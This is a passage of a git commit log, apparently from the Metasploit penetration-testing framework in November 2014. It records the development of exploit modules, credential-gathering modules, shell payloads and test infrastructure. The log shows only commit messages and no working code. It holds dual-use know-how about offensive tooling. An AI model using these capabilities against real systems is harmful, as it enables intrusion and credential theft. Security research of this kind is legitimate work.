wez3 5294594379 dd Windows post module for reading/searching Outlook e-mail #5 Add DE 2014-11-25 14:36:14 +01:00
William Vu 64f2b45ef4 Land #4258, release fixes 2014-11-24 21:44:14 -06:00
jvazquez-r7 508ca28155 Land #3404, @ringt's wordlist builder from windows AD 2014-11-24 20:34:48 -06:00
jvazquez-r7 71669b9f9e Change module filename 2014-11-24 20:34:12 -06:00
jvazquez-r7 5c4b1b0283 Output some information 2014-11-24 20:31:26 -06:00
jvazquez-r7 6e9cd331b3 Modify description 2014-11-24 20:28:38 -06:00
jvazquez-r7 261da9306e Use store_loot 2014-11-24 20:22:21 -06:00
jvazquez-r7 cf52dd895f Refactor search 2014-11-24 20:20:37 -06:00
jvazquez-r7 2fa5223d3b move check out of the begin block 2014-11-24 19:28:53 -06:00
jvazquez-r7 90bdc770b5 Use literal creation notation 2014-11-24 19:27:50 -06:00
jvazquez-r7 2c4caeed29 Clean metadata 2014-11-24 19:26:12 -06:00
jvazquez-r7 443dd7b6c0 Use constants 2014-11-24 19:04:02 -06:00
jvazquez-r7 250250beb0 Fix indentation 2014-11-24 18:58:07 -06:00
jvazquez-r7 88ccffacb4 Update from upstream master 2014-11-24 18:32:35 -06:00
Jon Hart bedf7ed44b Doc cleanup 2014-11-24 14:34:20 -08:00
Jon Hart 0ed356f71c Move Kademlia stuff to a more OO model, etc, per reviews
All of the work is done in rex.  The msf mixin just prevents the
desire to call rex directly from the module
2014-11-24 14:03:43 -08:00
Tod Beardsley bd948eb346 Normalize author name
From #4061, please don't decorate author names with URLs.
2014-11-24 13:03:42 -06:00
jvazquez-r7 84e6db7e85 Land #4221, @nullbind's mssql auxiliary module
* Enumerate Windows domain accounts through MSSQL
2014-11-24 12:30:10 -06:00
jvazquez-r7 343a0d78bc Delete admin check 2014-11-24 12:28:19 -06:00
jvazquez-r7 7164c4e038 Use shorter filename 2014-11-24 12:10:08 -06:00
jvazquez-r7 021b27dd83 Clean reporting 2014-11-24 12:01:09 -06:00
jvazquez-r7 f74ab34881 Delente unnecessary check 2014-11-24 11:50:41 -06:00
jvazquez-r7 3c858c793a Use vprint 2014-11-24 11:49:36 -06:00
spdfire 583494c0db use BrowserExploitServer 2014-11-24 18:49:27 +01:00
jvazquez-r7 4a169210ab Use vprint 2014-11-24 11:48:16 -06:00
jvazquez-r7 ecb74c543a Beautify description 2014-11-24 11:27:32 -06:00
jvazquez-r7 c52104e91d Beautify metadata 2014-11-24 11:24:41 -06:00
jvazquez-r7 fcb4bea3c1 Fix code comments 2014-11-24 11:23:27 -06:00
Tod Beardsley 77b1f2d2f0 Fixup for release
Fixes the grammar on the SMTP enumeration module and the Cisco CDP
module, and adds a more informative description and reference for the
CDP module introduced on PR #4061.
2014-11-24 10:50:43 -06:00
jvazquez-r7 10d0305cb2 Update from upstream master 2014-11-24 09:48:43 -06:00
Jon Hart e9750e2df8 Minor style/usability cleanups 2014-11-24 06:57:31 -08:00
jvazquez-r7 1e38e194a8 Land #4251, @hmoore-r7's fixes #4244 msfrpcd
* msfrpcd quits with undefined method error
* FIX: Remove call to legacy db.sink queue
2014-11-24 08:57:25 -06:00
Luke Imhoff 38ee3d8c93 Up aruba timeout for simplecov overhead
MSP-11647

Doubling the timeout is arbitrary, but travis-ci's limit for no output
is 10 minutes, so it can't go much higher.
2014-11-24 08:43:25 -06:00
Luke Imhoff 62ffbaca51 Add simplecov to cucumber env
MSP-11647

Port simplecov setup from metasploit-version so that child processes, in
this case msfconsole, will load simplecov and report coverage back to
the parent process.  Coverage from msfconsole's cucumber features is the
only way to get coverage on portions of the command dispatcher commands.
2014-11-24 08:07:00 -06:00
spdfire 08a67d78c5 module for CVE-2014-6332. 2014-11-24 08:25:18 +01:00
sinn3r c8d72f97eb Land #4252 - Print access level for snmp_login 2014-11-24 00:27:19 -06:00
sinn3r 57419bb0fc Fix #4253 - Print access level for snmp_login
Fix #4253 - module should print the access level
2014-11-22 23:09:15 -06:00
HD Moore 4dc1183ff5 Protecting it once seems like enough (typo) 2014-11-22 17:42:07 -06:00
HD Moore b96769fe8a Remove call to legacy db.sink queue, closes #4244 2014-11-22 17:19:12 -06:00
HD Moore 8becf417a7 Qualify ::File to prevent a stacktrace 2014-11-22 17:16:13 -06:00
HD Moore 673e21cfaf Rework meterpreter SSL & pass datastore to handle_connection()
This allows HandlerSSLCert to be used to pass a SSL certificate into the Meterpreter handler. The datastore has to be passed into handle_connection() for this to work, as SSL needs to be initialized on Session.new. This still doesn't pass the datastore into Meterpreter directly, but allows the Session::Meterpreter code to extract and pass down the :ssl_cert option if it was specified. This also fixes SSL certificate caching by expiring the cached cert from the class variables if the configuration has changed. A final change is to create a new SSL SessionID for each connection versus reusing the SSL context, which is incorrect and may lead to problems in the future (if not already).
2014-11-22 15:35:00 -06:00
Peter Marszalik 705bd42b41 tab to space change - line 296 2014-11-22 14:48:44 -06:00
HD Moore 823b4e259a Make it clear SSLVersion is not advertised since it isn't used 2014-11-22 14:25:09 -06:00
HD Moore 842a7a38d8 Change SSLCert to HandlerSSLCert to avoid conflicts with modules 2014-11-22 14:23:56 -06:00
HD Moore 9ed8c59459 Bring options over from reverse_tcp (bind address, etc).
Also includes the SSLCert => HandlerSSLCert change
2014-11-22 14:22:54 -06:00
sinn3r b34ddbdfff Land #4247 - Auto-generated SSL certs now match "snakeoil" defaults 2014-11-22 13:36:06 -06:00
tate 9828598cb7 removing timeout method and option 2014-11-22 00:28:56 -07:00
tate 57b04f96a7 working with DLSw protocol check 2014-11-21 23:54:00 -07:00
tate b9a274f869 improving DLSw detection 2014-11-21 18:58:02 -07:00
HD Moore ba9c763f7e Auto-generated SSL certs now match "snakeoil" defaults
This change emulates the auto-generated snakeoil certificate from Ubuntu 14.04. The main changes including moving to 2048-bit RSA, SHA256, a single name CN for subject/issuer, and the removal of most certificate extensions.
2014-11-21 18:25:04 -06:00
wez3 53b69583f4 Add Windows post module for reading/searching Outlook e-mail #4 2014-11-21 20:00:30 +01:00
jvazquez-r7 3ac1f7d4fb Land #4242, @Meatballs1 fix for sap_service_discovery report_note
* I cannot reproduce @Meatballs1 issue
* But I noticed report_note should :update with :unique_data
* Fixed the :update
2014-11-21 10:16:08 -06:00
jvazquez-r7 e30ee9fee2 Update with :unique_data 2014-11-21 10:14:39 -06:00
jvazquez-r7 90ae9a3ff8 Land #4173, @wchen-r7's fix for SMB find_first
* Fixes #4119, SMB find_first("\\*") does not return accurate results
* It missed initialization of sid
2014-11-21 09:51:57 -06:00
sinn3r f2add929d7 Land #4239 - Support SSL intermediate certs 2014-11-21 02:09:40 -06:00
HD Moore 85de75cd5d Adds a smtp ntlm domain scanner, lands #4241 2014-11-20 22:18:26 -06:00
rwhitcroft 3ddf848abf Merge pull request #1 from hmoore-r7/smtp_ntlm_domain
Module cleanup, error handling, and reporting
2014-11-20 20:43:25 -05:00
HD Moore 99a23ada5c Module cleanup, error handling, and reporting 2014-11-20 16:18:20 -06:00
Jon Hart e255db9429 Partial commit 2014-11-20 13:49:36 -08:00
Jon Hart 5d2c02f402 Initial commit of more OO version of Rex/Aux Kademlia support 2014-11-20 13:28:01 -08:00
Jon Hart 94e5ba13a4 YARD and spec cleanup 2014-11-20 13:28:01 -08:00
Jon Hart b6b288ae3a Minor style/test cleanup 2014-11-20 13:28:01 -08:00
Jon Hart df36ac910d Mostly complete Kademlia PING / BOOTSTRAP scanner 2014-11-20 13:28:01 -08:00
Jon Hart f5aa3ecb57 Add proper peer decoding 2014-11-20 13:28:01 -08:00
Jon Hart ab49d01a1b Add beginnings of Kademlia gather module and protocol support 2014-11-20 13:28:00 -08:00
HD Moore 2f6c4a9ba4 Slight tweak to description/author email formatting 2014-11-20 14:53:52 -06:00
HD Moore 2f92a83092 Change to example.com as the default domain 2014-11-20 14:53:36 -06:00
Meatballs ee15179441 Fix service discovery errors 2014-11-20 18:22:33 +00:00
Meatballs f2b80f4ef1 Merge remote-tracking branch 'upstream/master' 2014-11-20 18:18:00 +00:00
Rich Whitcroft 8306d739e3 add scanner module to extract domain from NTLM challenge 2014-11-20 11:02:21 -05:00
HD Moore d530046164 Bugfix. Chrome is a liar (chain certs properly) 2014-11-19 16:08:03 -06:00
HD Moore 0d091f1c03 Support SSL intermediate certs, closes #4238
Note that this does not apply to reverse_tcp meterpreter clients yet, as
they do not allow certificates to be supplied. I abstracted out the SSL
certificate generation and parsing methods so that we can address this
next.
2014-11-19 15:56:49 -06:00
Mark Schloesser 9e7f6728d0 update the single sources with s/SHELLARG/ARGV0/ 2014-11-19 22:22:08 +01:00
Mark Schloesser 8e7e5590c9 rename SHELLARG to ARGV0 because that's really what it is 2014-11-19 22:14:24 +01:00
mschloesser-r7 a5aa6b2e78 add source for linux/armle/shell_bind_tcp 2014-11-19 21:53:23 +01:00
mschloesser-r7 ac4c11ca39 work on linux/armle/shell_bind/tcp
same changes as to shell_reverse_tcp
2014-11-19 21:53:23 +01:00
mschloesser-r7 ebc70138f6 add source for linux/armle/shell_bind_tcp 2014-11-19 21:53:23 +01:00
mschloesser-r7 8331de2265 add source for linux/armle/shell_reverse_tcp 2014-11-19 21:53:23 +01:00
mschloesser-r7 fd7248b3c0 work on linux/armle/shell_reverse_tcp
shorten the execve code, remove exit, grow argv[0] space
2014-11-19 21:53:23 +01:00
HD Moore abc0640b7b Fix placeholder, lands #4237 2014-11-19 14:26:10 -06:00
Mark Schloesser 9e9954e831 fix placeholder to show the firmware version I used 2014-11-19 21:23:39 +01:00
Tod Beardsley 6daa8b48a3 Land #4235, Hikvision exploit 2014-11-19 14:18:54 -06:00
Mark Schloesser a718e6f83e add exploit for r7-2014-18 / CVE-2014-4880 2014-11-19 21:07:02 +01:00
Tod Beardsley 6a58774dd6 Land #4234, crediting @jduck 2014-11-19 12:43:04 -06:00
tate a4a1048f95 modified to get data collection off sock working 2014-11-19 11:17:58 -07:00
Jon Hart a91a5f3c4b Land #4067, @fozavci's IN:SRV support for fakedns 2014-11-19 08:38:00 -08:00
Jon Hart 684975a315 Use correct target address for fake As 2014-11-19 08:28:56 -08:00
Jon Hart 3777e78a85 Sanitize creation of target host. Return minimal for SRV 2014-11-19 08:28:56 -08:00
Jon Hart 52e004d8ab Use less conflicting name for SRV record port 2014-11-19 08:28:56 -08:00
Jon Hart ee90e4353b Add more consistent logging for fakedns types that support fake vs bypass 2014-11-19 08:28:55 -08:00
Jon Hart 0910275fac Don't artificially insert additional records when BYPASS 2014-11-19 08:28:55 -08:00
Fatih Ozavci a38cb3ee53 @jhart-r7 commits are accepted and conflicts fixed. 2014-11-19 08:28:55 -08:00
Fatih Ozavci ab7f6866f5 FAKE and BYPASS actions are implemented for SRV queries 2014-11-19 08:28:55 -08:00
Fatih Ozavci f403d27fbd Author update for the fakedns module 2014-11-19 08:28:55 -08:00
Fatih Ozavci 47f7d8c4be IN:SRV expansion for Fake DNS server 2014-11-19 08:28:55 -08:00
Joe Vennix a9cb6e0d2f Add jduck as an author on samsung_knox_smdm_url 2014-11-19 10:18:08 -06:00
Jon Hart 31b366dedb Land #4061, @fozavci's CDP testing module 2014-11-19 08:17:41 -08:00
Jon Hart 895bdd9c6f Remove unused options 2014-11-19 08:09:52 -08:00
Jon Hart 134046975e Remove report mixin which was not used 2014-11-19 08:09:52 -08:00
Jon Hart 4c112e71c1 Remove errant whitespace, unnecessary to_s 2014-11-19 08:09:52 -08:00
Jon Hart f54fc3da87 More CDP cleanup. Loop, cleaner packet construction, style 2014-11-19 08:09:52 -08:00
Jon Hart 0dac2de3fd Use PacketFu::EthHeader.mac2str for MAC formatting 2014-11-19 08:09:52 -08:00
Jon Hart 2d484a3e1a Remove sniffing capabilities from cdp -- use wireshark/tcpdump instead 2014-11-19 08:09:52 -08:00
Jon Hart 39d691086e First round of basic Ruby style cleanup in cdp 2014-11-19 08:09:52 -08:00
Fatih Ozavci 7e93d890ab Viproy is removed from names
Author section is fixed
2014-11-19 08:09:52 -08:00
Fatih Ozavci d78d57eaf4 Viproy VoIP Pen-Test Kit - Cisco CDP Testing Module 2014-11-19 08:09:52 -08:00
Meatballs 1d0d5582c1 Remove datastore options 2014-11-19 15:05:36 +00:00
Meatballs 7004c501f8 Merge remote-tracking branch 'upstream/master' into psexec_refactor_round2
Conflicts:
	modules/exploits/windows/smb/psexec.rb
2014-11-19 14:40:50 +00:00
William Vu e66c9be66d Land #4232, rm CHANGELOG.md from orbit 2014-11-19 08:17:40 -06:00
Peter Marszalik 900aa9cd6b powerdump.ps1 bug - corrupt hash fix
Fixed the bug where the hashes are not being extracted correctly when LM is disabled and history is enabled. 

Rather than relying on length, LM and NT headers are checked. Four bytes at 0xa0 show if LM exists and four bytes at 0xac show if NT exists. Details on this known issue can be found in the following whitepaper from blackhat:
https://media.blackhat.com/bh-us-12/Briefings/Reynolds/BH_US_12_Reynods_Stamp_Out_Hash_WP.pdf
2014-11-18 23:10:57 -06:00
tate da025891cc finish merge 2014-11-18 19:39:12 -07:00
tate a4bb07eafb resolving merge conflicts, hopefully 2014-11-18 19:28:58 -07:00
Tate Hansen 035ee2b940 Merge pull request #1 from jhart-r7/landing-4229-jhart
Minor Ruby style and module usability cleanup
2014-11-18 19:08:18 -07:00
Jon Hart e2834519a3 Minor Ruby style and module usability cleanup 2014-11-18 16:40:20 -08:00
Jon Hart 7d6e7a6bfa Minor Ruby style and module usability cleanup 2014-11-18 16:33:05 -08:00
tate a05e05f81a prefixing all print statements with ip:rport 2014-11-18 17:03:48 -07:00
jvazquez-r7 1f2313d87e Land #4054, @jhart-r7's SunRPC lib and module cleanup 2014-11-18 17:01:01 -06:00
tate 6b8b49ff98 improving metasploit module based on feedback 2014-11-18 15:03:18 -07:00
jvazquez-r7 fb4b6543e2 Handle other rex exceptions 2014-11-18 15:57:41 -06:00
jvazquez-r7 a0f92ce26e Update module with review 2014-11-18 15:43:53 -06:00
Tod Beardsley 5e54532dda Drop the CHANGELOG.md
Just use `git shortlog` instead if you're really interested in the
changes from your arbitrary point in history.
2014-11-18 14:55:12 -06:00
jvazquez-r7 dff6af0747 Restore timeout 2014-11-18 12:17:10 -08:00
jvazquez-r7 542eb6e301 Handle exception in brute force exploits 2014-11-18 12:17:10 -08:00
jvazquez-r7 4844447d17 Use 20 seconds as default timeout
* Because it's the default timeout on Rex::Proto::SunRPC::Client
2014-11-18 12:17:10 -08:00
jvazquez-r7 694561dd0f Dont shadow methods with local variables, just in case... 2014-11-18 12:17:10 -08:00
Jon Hart 60e31cb342 Allow sunrpc_create to raise on its own 2014-11-18 12:17:10 -08:00
Jon Hart 500c4249fe Update solaris_kcms_readfile to gracefully handle RPC errors 2014-11-18 12:17:10 -08:00
Jon Hart 82f89e620b Clean up nfs mount scanner to *print_* better 2014-11-18 12:17:10 -08:00
Jon Hart b2f9307e0a vprint # of RPC programs, since the table comes right after 2014-11-18 12:17:10 -08:00
Jon Hart bfde6047d5 Introduce a user-controlled timeout for SunRPC stuff 2014-11-18 12:17:10 -08:00
Jon Hart a9f9a8b116 Introduce new ::Rex::Proto::SunRPC::RPCError, making run_host cleaner 2014-11-18 12:17:10 -08:00
Jon Hart c7794a7ed9 Clean up Ruby style in sunrpc_portmapper 2014-11-18 12:17:09 -08:00
Jon Hart 059d84e4ca More consistent *print_* and Rex::Ui::Text::Table for sunrpc_portmapper 2014-11-18 12:17:09 -08:00
Tod Beardsley 0da756bc96 Add a don't to CONTRIBUTING about merge messages
Also updated the wiki with an example message to allay any confusion
about avoiding the default merge message.

http://r-7.co/MSF-Landing-PRs

Also fix an italics where it should have been bold.
2014-11-18 13:35:18 -06:00
jvazquez-r7 7358bcfe90 Restore timeout 2014-11-18 12:48:35 -06:00
jvazquez-r7 42a40cb128 Handle exception in brute force exploits 2014-11-18 11:20:41 -06:00
jvazquez-r7 53cf85dcb4 Use 20 seconds as default timeout
* Because it's the default timeout on Rex::Proto::SunRPC::Client
2014-11-18 11:03:20 -06:00
jvazquez-r7 e453f1dd11 Dont shadow methods with local variables, just in case... 2014-11-18 11:02:27 -06:00
Tod Beardsley 4ecb892bdb Land #4226, user friendly Bundler error message
Fixes #4222, thanks @jhart-r7!
2014-11-18 11:01:28 -06:00
wez3 435c6eef81 Add Windows post module for reading/searching Outlook e-mail #3 2014-11-18 16:27:33 +01:00
Trevor Rosen d04441f638 Merge branch 'landing/4207' into upstream-master
Land #4207

* Ensure that `rake spec` doesn't create too many threads
2014-11-18 09:23:20 -06:00
Trevor Rosen 267f93ff81 Merge branch 'landing/4205' into upstream-master
Land #4205

* Remove unused Msf::DBManager::Sink
* Part of improvements to thread management
2014-11-18 08:59:32 -06:00
Luke Imhoff 8249ef62c9 Merge branch 'master' into chore/MSP-11614/remove-msf-db-manager-sink
MSP-11614

Conflicts:
	spec/lib/msf/core/task_manager_spec.rb
2014-11-18 08:54:14 -06:00
Trevor Rosen fff36f5968 Merge branch 'landing/4189' into upstream-master
Land #4189

* Detect leaked threads during spec runs
* Manage threads before/after spec runs
2014-11-18 08:33:38 -06:00
Spencer McIntyre eefeb452b1 Fix two typos for payload specs 2014-11-18 08:50:06 -05:00
Spencer McIntyre 809a8d3a6e Add the test context to payloads_spec for py http 2014-11-18 08:31:17 -05:00
wez3 91a53dc36c Add Windows post module for reading/searching Outlook e-mail 2014-11-18 12:41:24 +01:00
tate 703e0486fb Add DLSw leak capture module for CVE-2014-7992 2014-11-17 20:35:54 -07:00
Jon Hart f51dd2b6f4 Use bundler/setup for more graceful bundler related failures 2014-11-17 18:06:01 -08:00
Spencer McIntyre d5ebd8a2dc Shorten the reverse_http stager by renaming a var 2014-11-17 19:04:26 -05:00
jvazquez-r7 7daedac399 Land #3972 @jhart-r7's post gather module for remmina Remmina
* Gather credentials managed with Remmina
2014-11-17 16:44:41 -06:00
jvazquez-r7 45d219c0d8 Land #4102, @jhart-r7's fix for nbns_response
* Use request src_port instead of 137
2014-11-17 15:46:38 -06:00
Jon Hart 4d81a9da65 Allow sunrpc_create to raise on its own 2014-11-17 11:58:26 -08:00
Tod Beardsley 286827c6e5 Land #4186, Samsung KNOX exploit. Ty @jvennix-r7! 2014-11-17 13:29:39 -06:00
Tod Beardsley 39980c7e87 Fix up KNOX caps, descriptive description 2014-11-17 13:29:00 -06:00
Samuel Huckins 9e8f1d1160 Land #4218, MDM bump 2014-11-17 13:26:40 -06:00
Tod Beardsley 0f41bdc8b8 Add an OSVDB ref 2014-11-17 13:26:21 -06:00
Luke Imhoff a2085199f5 Spec methods Msf::Ui::Console::CommandDispatcher::Db responds to
MSP-11622
2014-11-17 13:22:13 -06:00
Spencer McIntyre 2b36c1bb43 Fix pymeterp bugs from testing in osx and python3 2014-11-17 14:04:30 -05:00
nullbind 8c34f35ca9 added mssql_enum_windows_domain_accounts.rb 2014-11-17 13:03:43 -06:00
Luke Imhoff 47f7119f58 Order spec
MSP-11622

Sort specs by describe/context name so it is easier to see if a method
has no specs.
2014-11-17 12:58:04 -06:00
jvazquez-r7 54de805b7a Report credentials
* Even when we are not associating them to hosts
* It's a post module so maybe we cannot solve some names
2014-11-17 12:49:18 -06:00
Jon Hart 9e2513d4de Update solaris_kcms_readfile to gracefully handle RPC errors 2014-11-17 10:41:17 -08:00
Jon Hart 364315122a Clean up nfs mount scanner to *print_* better 2014-11-17 10:41:17 -08:00
Jon Hart 1fda9a36b7 vprint # of RPC programs, since the table comes right after 2014-11-17 10:41:17 -08:00
Jon Hart 151df3ae05 Introduce a user-controlled timeout for SunRPC stuff 2014-11-17 10:41:17 -08:00
Jon Hart 7098d89058 Introduce new ::Rex::Proto::SunRPC::RPCError, making run_host cleaner 2014-11-17 10:41:17 -08:00
Jon Hart 91abe6f7c7 Clean up Ruby style in sunrpc_portmapper 2014-11-17 10:41:17 -08:00
Jon Hart 47c7df96c5 More consistent *print_* and Rex::Ui::Text::Table for sunrpc_portmapper 2014-11-17 10:41:16 -08:00
wez3 7a2b7208e7 Add Windows post module for reading/searching Outlook e-mail 2014-11-17 19:38:55 +01:00
jvazquez-r7 b3b37c7c9f Use longer description lines 2014-11-17 12:23:22 -06:00
jvazquez-r7 145e610c0f Avoid shadowing new method 2014-11-17 12:22:30 -06:00
jvazquez-r7 cc8b37d619 Make directory mandatory 2014-11-17 12:15:33 -06:00
jvazquez-r7 15b7435c34 Make it YARD compliant documentation 2014-11-17 12:03:37 -06:00
William Vu fd53e969fd Land #4217, browser_autopwn variable fix 2014-11-17 11:46:52 -06:00
William Vu 405eae4b6e Remove EOL whitespace 2014-11-17 11:46:36 -06:00
jvazquez-r7 20195e7f37 Update from upstream/master 2014-11-17 11:43:48 -06:00
William Vu 91ba25a898 Land #4208, psexec delay fix 2014-11-17 11:35:56 -06:00
jvazquez-r7 2c36f79934 Land #4165, @jhart-r7's check for datastore options on Cisco dtp
* Fix modules/auxiliary/spoof/cisco/dtp
* Just one of the two options is required
2014-11-17 11:23:31 -06:00
William Vu fa9bd88091 Land #4215, new CVEs for older modules 2014-11-17 11:21:46 -06:00
Jon Hart cd32f00ebc Add dir doc 2014-11-17 09:15:08 -08:00
Jon Hart 98db8b5ad9 When not a meterpreter session, split dir/ls output to match meterpreter entries output 2014-11-17 09:10:03 -08:00
Jon Hart d5afb2b766 %q 2014-11-17 09:01:14 -08:00
Jon Hart ce73e32673 Doc and named captures 2014-11-17 09:01:14 -08:00
Jon Hart bf05fe1389 Refactoring, simplification, better print_* 2014-11-17 09:01:14 -08:00
Jon Hart 6e1cdfde36 Rip out create_credential* stuff. Use what works 2014-11-17 09:01:14 -08:00
Jon Hart e5bb13a609 If remmina config files are missing data for creds, tell me what 2014-11-17 09:01:14 -08:00
Jon Hart 875d1f9ea0 Convert Remmina credential gatherer to use new credentials model 2014-11-17 09:01:14 -08:00
Jon Hart 5f1a1f8ed3 Use dir for Windows only, ls for the rest 2014-11-17 09:01:14 -08:00
Jon Hart 086f0c02d6 Remove excessive logging 2014-11-17 09:01:14 -08:00
Jon Hart 6519b0e2cb Add dir and ls to Msf::Post::File 2014-11-17 09:01:14 -08:00
Jon Hart 90e58e9e71 Binary encoding 2014-11-17 09:01:14 -08:00
Jon Hart e76373340e Correct some Rubocop things that I agree with 2014-11-17 09:01:14 -08:00
Jon Hart f729a6cf02 Add Remmina RDP/SSH/VNC password gathering 2014-11-17 09:01:13 -08:00
Matt Buck 5db7d1edd5 Bump mdm version number 2014-11-17 10:59:41 -06:00
William Vu 07c3c41269 Land #4211, Ruby version bump 2014-11-17 10:38:34 -06:00
Joe Vennix cd61975966 Change puts to vprint_debug. 2014-11-17 10:13:13 -06:00
floyd 9243cfdbb7 Minor fixes to ruby style things 2014-11-17 17:12:17 +01:00
Joe Vennix fc1635e80a Fix BAP JS ref error. 2014-11-17 10:06:15 -06:00
floyd 91aa5fa3cf Some simple ruby convention changes that hopefully make ruby people happy 2014-11-17 16:48:52 +01:00
floyd 3c1ce5072c Replaced camel case states with snail_case 2014-11-17 16:37:04 +01:00
Luke Imhoff 33b42389f0 Merge branch 'feature/MSP-11147/thread-leak-detection' into feature/MSP-11605/lazy-thread-creation
MSP-11605
2014-11-17 09:35:47 -06:00
Luke Imhoff e3869ee1ae Include Thread status when printing leaked threads
MSP-11147

Sometime travis-ci is showing leaked threads even when
'Msf::Framework#threads cleaner' is being used, so I'm adding the
`Thread#status` to the data printed about the Thread to see if the
sometimes leaked threads have an odd status.  There's still a chance
that there will be a race-condition between when I call Thread.list and
I ask for each Thread's status that the VM could finish aborting a
Thread so that status I print isn't the same as the one that caused the
Thread to be returned in Thread.list.
2014-11-17 09:30:46 -06:00
Luke Imhoff ba836f2383 Only calculate thread UUIDs if they are needed
MSP-11147

Only calculate thread UUIDs if the thread count exceeds
EXPECTED_THREAD_COUNT_AROUND_SUITE.
2014-11-17 09:17:44 -06:00
Luke Imhoff 024b449b55 Merge branch 'master' into feature/MSP-11605/lazy-thread-creation
MSP-11605
2014-11-17 08:50:33 -06:00
jvazquez-r7 6f5183afec Land #4216, @hmoore-r7 additions to the tftp dictionary
* Changes originally submitted by Chris McNab
2014-11-17 08:48:16 -06:00
Luke Imhoff 861af1ed2c Revert "Diff triggering comment"
MSP-11616

This reverts commit d5246036c4.
2014-11-17 08:41:43 -06:00
Luke Imhoff ef27d3f6b9 Enable fast_finish on travis-ci
MSP-11616

If any one build fails the entire build will be marked as failed so the
github status can be written back faster.
2014-11-17 08:33:05 -06:00
Luke Imhoff eea5a40677 Don't run bundle exec rake $RAKE_TASK if git diff --exit-code with 1
MSP-11616

Travis runs all entries in the script section even if earlier entries
exit with 1 and only fails the build as a whole once all entries have
run by &&ing together the exit codes.  Running `bundle exec rake
$RAKE_TASK` if the db/schema.rb is missing updates is unnecessary, so
use `&&` in the script section to stop `bundle exec rake $RAKE_TASK`
from running if `git diff --exit-code` exits with 1.
2014-11-17 08:12:47 -06:00
Luke Imhoff d5246036c4 Diff triggering comment
MSP-11616

Add comment to db/schema.rb so that it will trigger `git diff
--exit-code` to be 1 on travis-ci.
2014-11-17 08:02:00 -06:00
Luke Imhoff e5b9059f39 Merge branch 'master' into feature/MSP-11616/db-schema-fail
MSP-11616
2014-11-17 07:52:17 -06:00
Joe Vennix 2a24151fa8 Remove BAP target, payload is flaky. Add warning. 2014-11-17 02:02:37 -06:00
Joe Vennix 105a28d8fd Run the tests again. 2014-11-16 23:42:40 -06:00
Joe Vennix a7aeac5df3 Fix APK signing on osx. 2014-11-16 23:29:54 -06:00
HD Moore 1d8b746d89 Adds new TFTP file names, submitted by Chris McNab 2014-11-16 18:47:11 -06:00
HD Moore 9fe4994492 Chris McNab has been working with MITRE to add these CVEs
These CVEs are not live yet, but have been confirmed by cve-assign
t
2014-11-16 18:42:53 -06:00
Spencer McIntyre 0bf93acf6b Pymeterp http proxy and user agent support 2014-11-16 14:29:20 -05:00
Joe Vennix 5de69ab6a6 minor syntax fixes. 2014-11-15 21:39:37 -06:00
Joe Vennix 3fb6ee4f7d Remove dead constant. 2014-11-15 21:38:11 -06:00
Joe Vennix 7a62b71839 Some URL fixes from @jduck and exploit ideas from Andre Moulu.
The exploit works with the URLs fixed, installs the APK, but hangs at the Installing...
screen and never actually launches. We tried opening the APK in a setTimeout() intent
URI, but the previously launched intent seemed unresponsive. Andre had the bright
idea of re-opening the previously launched intent with invalid args, crashing it and
allow us to launch the payload.
2014-11-15 21:33:16 -06:00
William Vu a521d469ed Land #4194, Quake protocol support 2014-11-15 17:44:19 -06:00
Spencer McIntyre e562883ba9 Escape inserted vars and fix core_loadlib 2014-11-15 15:06:18 -05:00
sinn3r d207345778 Land #4200 - report_note handling incorrect protocol names 2014-11-15 13:16:58 -06:00
Christian Mehlmauer 28135bcb09 Land #4159, MantisBT PHP code execution by @itseco 2014-11-15 07:49:54 +01:00
Rich Lundeen 27d5ed624f fix for IE9 exploit config 2014-11-14 17:21:59 -08:00
Rich Lundeen 17ab0cf96e ADD winxpIE8 exploit for MS13-080 2014-11-14 17:16:51 -08:00
Luke Imhoff ceb7a63a5c Merge branch 'master' into feature/MSP-11147/thread-leak-detection
MSP-11147
2014-11-14 18:20:55 -06:00
Tod Beardsley 9c4614f73c Oh good, another Ruby version bump
DoS Security issue in Ruby 1.9.3-p550 and prior, described here:

https://www.ruby-lang.org/en/news/2014/11/13/ruby-1-9-3-p551-is-released/

Not a hair-on-fire kind of deal, but should update at the earliest
opportunity to avoid getting DoS'ed by a malicious target.
2014-11-14 17:28:16 -06:00
Spencer McIntyre 7c14e818f6 Patch pymeterp http settings 2014-11-14 17:12:23 -05:00
sinn3r e194d5490d See #4162 - Don't delay before deleting a file via SMB
So I was looking at issue #4162, and on my box I was seeing this
problem of the exploit failing to delete the payload in C:\Windows,
and the error was "Rex::Proto::SMB::Exceptions::NoReply The SMB
server did not reply to our request". I ended up removing the sleep(),
and that got it to function properly again. The box was a Win 7 SP1.

I also tested other Winodws boxes such as Win XP SP3, Windows Server
2008 SP2 and not having the sleep() doesn't seem to break anything.
So I don't even know why someone had to add the sleep() in the first
place.
2014-11-14 15:45:37 -06:00
William Vu 0477c5f8fe Land #4191, merge_check_key update for Ruby 2.1.4 2014-11-14 15:33:47 -06:00
Spencer McIntyre 681ae8ce6b Pymet reverse_http stager basic implementation 2014-11-14 14:15:46 -05:00
Luke Imhoff a2ccaad1ae Merge branch 'master' into feature/MSP-11605/lazy-thread-creation
MSP-11605
2014-11-14 13:06:14 -06:00
Trevor Rosen 3b558624f3 Merge branch 'landing/4129' into upstream-master
Landing #4129

* Detect leaked constants in spec runs
2014-11-14 12:55:56 -06:00
Luke Imhoff 4e2277c7d1 Move git diff --exit-code so build fails instead of errors
MSP-11616

With `git diff --exit-code` in `before_script` it caused the build to
show as errored in travis and didn't turn the merge button red, so try
moving to the `script` section to see if that will make the merge button
red.
2014-11-14 12:50:27 -06:00
Luke Imhoff bc53e7667d Remove unnecessary thread cleaning from Msfcli spec
MSP-11605
2014-11-14 12:40:04 -06:00
Luke Imhoff 43511e648a Merge branch 'chore/MSP-11614/remove-msf-db-manager-sink' into feature/MSP-11605/lazy-thread-creation
MSP-11605

Conflicts:
	spec/lib/msf/core/task_manager_spec.rb
2014-11-14 11:59:12 -06:00
Luke Imhoff 14fa1dba0b Merge branch 'master' into feature/MSP-11605/lazy-thread-creation
MSP-11605
2014-11-14 11:58:16 -06:00
Luke Imhoff 5e6400a506 Remove Msf::TaskManager
MSP-11614

`Msf::TaskManager` was only used for `Msf::DBManager#sink`, which was
removed because it was unused, so `Msf::TaskManager` can also be
removed.
2014-11-14 11:15:05 -06:00
jvazquez-r7 ee9b1aa83a Manage Rex::ConnectionRefused exceptions 2014-11-14 10:53:03 -06:00
Luke Imhoff 55a8f6f339 Remove Msf::DBManager::Sink
MSP-11614

`Msf::DBManager::Sink` contains code for a `sink` that is a meant to
